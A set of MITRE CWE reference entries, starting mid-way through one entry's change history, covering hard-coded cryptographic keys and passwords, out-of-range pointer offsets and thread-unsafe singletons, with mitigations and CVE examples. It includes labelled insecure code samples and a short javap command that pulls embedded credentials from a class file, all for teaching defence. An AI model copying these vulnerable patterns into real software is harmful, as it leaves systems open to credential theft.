2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples

Weakness ID: 321

View customized information:

Description

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials
PeerOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	259	Use of Hard-coded Password
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1291	Public Key Re-Use for Signing both Debug and Production Code
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	656	Reliance on Security Through Obscurity

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1013	Encrypt Data

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials

Modes Of Introduction

Phase	Note
Architecture and Design	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code examples attempt to verify a password using a hard-coded cryptographic key.

(bad code)

Example Language: C

int VerifyAdmin(char *password) {

if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {

printf("Incorrect Password!\n");
return(0);

}
printf("Entering Diagnostic Mode...\n");
return(1);

}

(bad code)

Example Language: Java

public boolean VerifyAdmin(String password) {

if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {

System.out.println("Entering Diagnostic Mode...");
return true;

}
System.out.println("Incorrect Password!");
return false;

(bad code)

Example Language: C#

int VerifyAdmin(String password) {

if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {

Console.WriteLine("Entering Diagnostic Mode...");
return(1);

}
Console.WriteLine("Incorrect Password!");
return(0);

}

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 2

Multiple vendors used hard-coded keys for critical functionality in their OT products.

Observed Examples

Reference	Description
CVE-2022-29960	Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation
CVE-2022-30271	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used by default.
CVE-2020-10884	WiFi router service has a hard-coded encryption key, allowing root access
CVE-2014-2198	Communications / collaboration product has a hardcoded SSH private key, allowing access to root account

Potential Mitigations

Phase: Architecture and Design

Prevention schemes mirror that of hard-coded password storage.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	720	OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	729	OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	950	SFP Secondary Cluster: Hardcoded Sensitive Data
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1346	OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Other

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

Maintenance

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of hard-coded cryptographic key
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
Software Fault Patterns	SFP33		Hardcoded sensitive data
ISA/IEC 62443	Part 2-4		Req SP.03.10 RE(1)
ISA/IEC 62443	Part 2-4		Req SP.03.10 RE(3)
ISA/IEC 62443	Part 3-3		Req SR 1.5
ISA/IEC 62443	Part 3-3		Req SR 4.3
ISA/IEC 62443	Part 4-1		Req SD-1
ISA/IEC 62443	Part 4-2		Req SR 4.3
ISA/IEC 62443	Part 4-2		Req CR 7.3

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2023-01-24 (CWE 4.10, 2023-01-31)	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-01-24 (CWE 4.10, 2023-01-31)	Suggested mappings to ISA/IEC 62443.
2023-04-25	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-04-25	Suggested mappings to ISA/IEC 62443.
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Relationships
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Demonstrative_Examples, Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Maintenance_Notes, Taxonomy_Mappings
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Taxonomy_Mappings
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Taxonomy_Mappings

Weakness ID: 259

View customized information:

Description

The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.

Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the product contains an authentication mechanism that checks for a hard-coded password.

Outbound: the product connects to another system or component, and it contains hard-coded password for connecting to that component.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials
PeerOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	321	Use of Hard-coded Cryptographic Key
PeerOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	257	Storing Passwords in a Recoverable Format
CanFollow	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	656	Reliance on Security Through Obscurity

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1010	Authenticate Actors

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	798	Use of Hard-coded Credentials

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Architecture and Design

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Gain Privileges or Assume Identity If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code uses a hard-coded password to connect to a database:

(bad code)

Example Language: Java

...
DriverManager.getConnection(url, "scott", "tiger");
...

(attack code)

javap -c ConnMngr.class

22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger

Example 2

The following code is an example of an internal hard-coded password in the back-end:

(bad code)

Example Language: C

int VerifyAdmin(char *password) {

if (strcmp(password, "Mew!")) {

printf("Incorrect Password!\n");
return(0)

}
printf("Entering Diagnostic Mode...\n");
return(1);

}

(bad code)

Example Language: Java

int VerifyAdmin(String password) {

if (!password.equals("Mew!")) {

return(0)

}
//Diagnostic Mode
return(1);

}

Example 3

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)

Example Language: Java

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

(bad code)

Example Language: ASP.NET

...
<connectionStrings>

</connectionStrings>
...

Example 4

Multiple vendors used hard-coded credentials in their OT products.

Observed Examples

Reference	Description
CVE-2022-29964	Distributed Control System (DCS) has hard-coded passwords for local shell access
CVE-2021-37555	Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288]
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

Phase: Architecture and Design

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.

Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Manual Analysis

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	254	7PK - Security Features
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	753	2009 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	950	SFP Secondary Cluster: Hardcoded Sensitive Data
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Maintenance

This entry could be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. More importantly, from a vulnerability theory perspective, they could be characterized as different behaviors.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Password Management: Hard-Coded Password
CLASP			Use of hard-coded password
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J		Never hard code sensitive information
Software Fault Patterns	SFP33		Hardcoded sensitive data

References

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.

[REF-1288] Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021-06-07. <http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Description, Potential_Mitigations
2008-11-13	CWE Content Team	MITRE
2008-11-13	Significant description modifications to emphasize different variants.
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Demonstrative_Examples, Description, Maintenance_Notes, Other_Notes, Potential_Mitigations
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Demonstrative_Examples, Description, Maintenance_Notes, Potential_Mitigations, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-07-17	KDM Analytics
2009-07-17	Improved the White_Box_Definition
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Demonstrative_Examples, Related_Attack_Patterns, White_Box_Definitions
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, Relationships
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Applicable_Platforms
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Detection_Factors, Potential_Mitigations
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Potential_Mitigations, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships, Taxonomy_Mappings
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Demonstrative_Examples
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Demonstrative_Examples
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, White_Box_Definitions
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples, Maintenance_Notes
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Demonstrative_Examples, Observed_Examples, References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Applicable_Platforms, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2010-02-16	Hard-Coded Password

Weakness ID: 823

View customized information:

Description

The product performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the product. As a result, the attack might change the state of the product as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

Alternate Terms

Untrusted pointer offset:	This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
CanFollow	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	129	Improper Validation of Array Index
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	125	Out-of-bounds Read
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	465	Pointer Issues

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.
Availability	Technical Impact: DoS: Crash, Exit, or Restart If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands; Modify Memory If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.

Observed Examples

Reference	Description
CVE-2010-2160	Invalid offset in undocumented opcode leads to memory corruption.
CVE-2010-1281	Multimedia player uses untrusted value from a file when using file-pointer calculations.
CVE-2009-3129	Spreadsheet program processes a record with an invalid size field, which is later used as an offset.
CVE-2009-2694	Instant messaging library does not validate an offset value specified in a packet.
CVE-2009-2687	Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash.
CVE-2009-0690	negative offset leads to out-of-bounds read
CVE-2008-4114	untrusted offset in kernel
CVE-2010-2873	"blind trust" of an offset value while writing heap memory allows corruption of function pointer,leading to code execution
CVE-2010-2866	negative value (signed) causes pointer miscalculation
CVE-2010-2872	signed values cause incorrect pointer calculation
CVE-2007-5657	values used as pointer offsets
CVE-2010-2867	a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic
CVE-2009-1097	portions of a GIF image used as offsets, causing corruption of an object pointer.
CVE-2008-1807	invalid numeric field leads to a free of arbitrary memory locations, then code execution.
CVE-2007-2500	large number of elements leads to a free of an arbitrary address
CVE-2008-1686	array index issue (CWE-129) with negative offset, used to dereference a function pointer
CVE-2010-2878	"buffer seek" value - basically an offset?

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Terminology

Maintenance

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-129	Pointer Manipulation

References

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Pointer Arithmetic", Page 277. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2010-09-22 (CWE 1.10, 2010-09-27)	CWE Content Team	MITRE
2010-09-22 (CWE 1.10, 2010-09-27)
Modifications
Modification Date	Modifier	Organization
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes

Weakness ID: 543

View customized information:

Description

The product uses the singleton pattern when creating a resource within a multithreaded environment.

Extended Description

The use of a singleton pattern may not be thread-safe.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	820	Missing Synchronization

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

Java (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Other Integrity	Technical Impact: Other; Modify Application Data

Demonstrative Examples

Example 1

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

(bad code)

Example Language: Java

private static NumberConverter singleton;
public static NumberConverter get_singleton() {

if (singleton == null) {

singleton = new NumberConverter();

}
return singleton;

}

Consider the following course of events:

Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

Potential Mitigations

Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Phase: Implementation

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Effectiveness: Limited

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	986	SFP Secondary Cluster: Missing Lock
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC07-J		Prevent multiple instantiations of singleton objects
Software Fault Patterns	SFP19		Missing Lock

References

